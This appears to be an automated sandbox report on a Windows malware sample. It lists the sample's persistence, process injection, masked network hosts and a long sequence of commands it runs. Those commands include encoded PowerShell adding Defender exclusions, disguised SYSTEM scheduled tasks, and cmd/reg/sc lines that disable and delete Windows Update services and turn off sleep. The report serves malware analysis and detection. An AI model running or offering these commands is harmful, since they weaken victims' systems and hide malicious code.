Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\dialersvc32
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
Modifies file system
Creates the following files
- %TEMP%\temp.exe
Network activity
Connects to
- 'ip##pi.com':80
- 'ra#.####ubusercontent.com':443
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi################
Other
- 'ra#.####ubusercontent.com':443
UDP
- DNS ASK ip##pi.com
- DNS ASK ra#.####ubusercontent.com
Miscellaneous
Creates and executes the following
- '%TEMP%\temp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGcAbwBlAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB2AHgAdwBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHAAcgB2ACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAdABlAG0AcAAgAC0AQwBoAGkAbABkAFAA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGcAbwBlAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB2AHgAdwBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkA...
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHAAcgB2ACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAdABlAG0AcAAgAC0AQwBoAGkAbABkAFAA...
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"%ProgramFiles%\Google\Chrome\updater.exe\""
- '<SYSTEM32>\cmd.exe' /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\schtasks.exe' /run /tn "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
- '<SYSTEM32>\dllhost.exe' /Processid:{63d3ba7f-24e5-4451-ad17-594ea71721ba}
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlS...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
- '<SYSTEM32>\reg.exe' delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
- '<SYSTEM32>\takeown.exe' /f <SYSTEM32>\WaaSMedicSvc.dll
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '%WINDIR%\syswow64\dllhost.exe' /Processid:{49a767a7-8230-421b-9046-9d2d4dd4d9da}
